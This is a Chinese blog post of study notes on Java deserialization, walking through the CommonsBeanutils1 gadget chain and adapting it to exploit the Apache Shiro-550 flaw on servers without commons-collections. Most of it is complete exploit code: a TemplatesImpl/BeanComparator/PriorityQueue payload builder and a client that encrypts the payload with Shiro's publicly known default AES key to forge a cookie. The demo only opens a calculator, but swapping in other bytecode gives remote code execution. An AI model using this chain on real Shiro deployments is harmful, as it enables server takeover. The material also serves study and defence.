CommonsBeanutils与无Commons-Collections的Shiro反序列化利用

这一篇依旧是跟着P牛的Java安全漫谈学习

上一篇讲到java.util.PriorityQieie,它在java中是一个优先队列,队列中每一个元素有自己的优先级。在反序列化这个对象时,为了保证队列顺序,会进行重排序的操作,排序就会涉及到大小比较,从而执行java.util.Comparator接口的compare方法

那么我们再找找有没有其他可以利用的java.util.Comparator对象

Apache CommonsBeanutils

Apache Commons Beanutils提供了对普通java类对象(也称为javabean)的一些操作方法

比如下面这个Cat类就是一个最简单的JavaBean类:

1
2
3
4
5
6
7
8
9
final public class Cat {
private String name = "catalina";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}

它包含一个私有属性name和读取和设置这个属性的两个方法,又称为getter和setter。其中,geyyer的方法名以get开头,setter的方法名以set开头,全名符合驼峰命名法

Commons-Beanutils中提供了一个静态方法PropertyUtils.getProperty,让使用者可以直接调用任意JavaBean的getter方法,你如:

1
PropertyUtils.getProperty(new Cat(), "name");

此时,Commons-Beanutils会自动找到name属性的getter方法,也就是getName,然后调用,获得返回值。除此之外PropertyUtils.getProperty还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过PropertyUtils.getProperty(a, "b.c");的方式进行递归获取。通过这个方法,可以很方便的调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。

Commons-Beanutils还有很多像这样的辅助方法,比如说调用setter、拷贝属性等

getter妙用

我们需要找到可以利用的java.util.Comparator对象,在Commons-Beanutils包中就存在一个:org.apache.commons.beanutils.BeanComparator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (IllegalAccessException var5) {
IllegalAccessException iae = var5;
throw new RuntimeException("IllegalAccessException: " + iae.toString());
} catch (InvocationTargetException var6) {
InvocationTargetException ite = var6;
throw new RuntimeException("InvocationTargetException: " + ite.toString());
} catch (NoSuchMethodException var7) {
NoSuchMethodException nsme = var7;
throw new RuntimeException("NoSuchMethodException: " + nsme.toString());
}
}
}

这个方法传入两个对象,如果this.Property为空,那么直接比较这两个对象;如果this.property不为空,则用PropertyUtils.getProperty分别取这两个对象的this.property属性,比较属性的值

PropertyUtils.getProperty这个方法会自动调用一个JavaBean的getter方法,这个点是任意代码执行的关键。那么有没有什么getter方法可以执行恶意代码呢

Java动态加载字节码这一篇中,在追踪调试TemplatesImpl时,我们追溯到这样的一条调用链:

1
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstamce() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

最前面的这个TemplatesImpl#getOutputProperties()方法是调用链上的一环,它的内部调用了TemplatesImpl#newTransfoemer(),也就是我们后面常用来执行恶意字节码的方法:

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

而且getOutputProperties这个名字,是以get开头,政府和getter的定义。

所以PropertyUtils.getProperty(o1.property)这段代码,当o1是一个TemplatesImpl对象,而property的值为outputProperties时将会自动调用getter,也就是TemplatesImpl#getOutputProperties()方法,触发代码执行。

反序列化利用链构造

了解原理之后,我们来构造利用链

首先还是创建TemplateImpl:

1
2
3
4
5
6
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后我们实例化BeanComparatorBeanComparator构造函数为空时,默认的property就是空:

1
final BeanComparator comparator = new BeanComparator();

然后用这个comparator实例化优先队列PriorityQueue:

1
2
3
4
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);

我们添加了两个无害的可以比较的对象进队列中。前面说过BeanComparator#compare()中,如果this.property为空,则直接比较这两个对象。这里实际上就是对两个1进行排序。

初始化使用正经对象,且property为空,这一系列操作时为了初始化的时候不要出错。然后,我们再用反射将property的值设置成恶意的outputProperties,将队列里的两个1替换成恶意的TemplateImpl对象:

1
2
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

最后完成整个CommonsBeanutils1利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

public class CommonsBeanutils1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(org.example.test.testCalc.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

也是成功弹计算机了

CB1_1.png

Shiro-550利用难点

之前的一个shirodemo添加了几个依赖库,有一个commons-collections:3.2.1是为了演示反序列化漏洞而增加的。但在实际场景中,目标可能并没有安装commons-collections,这个时候shiro反序列化漏洞是否还能利用呢?

我们将pom.xml中关于commons-collections的部分删除,重新加载Maven,此时观察IDEA中的依赖库:

CB1_2.png

嘿,有个commons-beanutils,那也就是说Shiro是依赖于commons-beanutils的。那么是否可以利用上面讲的CommonsBeanutils1利用链呢

我们尝试生成一个Payload发送

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class Client1 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(org.example.test.testCalc.class.getName());
byte[] payloads = new CommonsBeanutilsShiro().getPayload(clazz.toBytecode());

AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

public class CommonsBeanutils1Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {clazzBytes});

setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

return barr.toByteArray();
}
}

可以发现并没有成功,此时在Tomcat的控制台看到这样的报错信息:

CB1_3.png

1
org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

这个错误时什么意思?那我们就要先知道这个UID是什么

serialVersionUID是什么

如果两个不同版本的库是用来同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。所以,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的位置隐患。

开发者也可以手工赋予一个serialVersionUID值,此时就能手工控制兼容性了

所以,出现问题的原因就是,本地使用的commons-beanutils与Shiro中自带的commons-beanutil版本不一致,才出现了serialersionUID对应不上的问题。,Shiro中自带的commons-beanutils是版本,我们只需将本地的修改为1.8.3就可以了。

更换版本后我们再试一次

CB1_4.png

这时又出现了另一个报错:

1
Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] from the thread context, current, or system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.

简单来说就是没找到org.apache.commons.collections.comparators.ComparableComparator类,从包名可以看出,这个类是来自于commons-collections。

commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。

那下面就来讲一下无commons-collections的反序列化利用链。

无依赖的Shiro反序列化利用链

先来看看org.apache.commons.collections.comparators.ComparableComparator这个类在哪里被使用了

CB1_5.png

BeanComparator类的构造函数处,当没有显式传入Comparator的情况下,则默认使用ComparableComparator

既然此时没有ComparableComparator,我们需要找到一个类来替换,它满足下面这几个条件:

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带,且兼容性强

然后我们能找到一个CaseInsensitiveComparator:

CB1_6.png

相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator
implements Comparator<String>, java.io.Serializable {
// use serialVersionUID from JDK 1.2.2 for interoperability
private static final long serialVersionUID = 8575799808933029326L;

public int compare(String s1, String s2) {
int n1 = s1.length();
int n2 = s2.length();
int min = Math.min(n1, n2);
for (int i = 0; i < min; i++) {
char c1 = s1.charAt(i);
char c2 = s2.charAt(i);
if (c1 != c2) {
c1 = Character.toUpperCase(c1);
c2 = Character.toUpperCase(c2);
if (c1 != c2) {
c1 = Character.toLowerCase(c1);
c2 = Character.toLowerCase(c2);
if (c1 != c2) {
// No overflow because of numeric promotion
return c1 - c2;
}
}
}
}
return n1 - n2;
}

/** Replaces the de-serialized object. */
private Object readResolve() { return CASE_INSENSITIVE_ORDER; }
}

这个CaseInsensitiveComparator类是java.lang.String类下的一个内部私有类,它实现了ComparatorSerializable,且位于Java的核心代码中,兼容性强,可以很好地替代。

我们通过String.CASE_INSENSITIVE_ORDER就可以拿到上下文中的CaseInsensitiveComparator对象,用它来实例化BeanComparator

1
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

最后,构造出新的CommonsBeanutils1Shiro利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils1Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

return barr.toByteArray();
}
}

ok,成功利用

CB1_7.png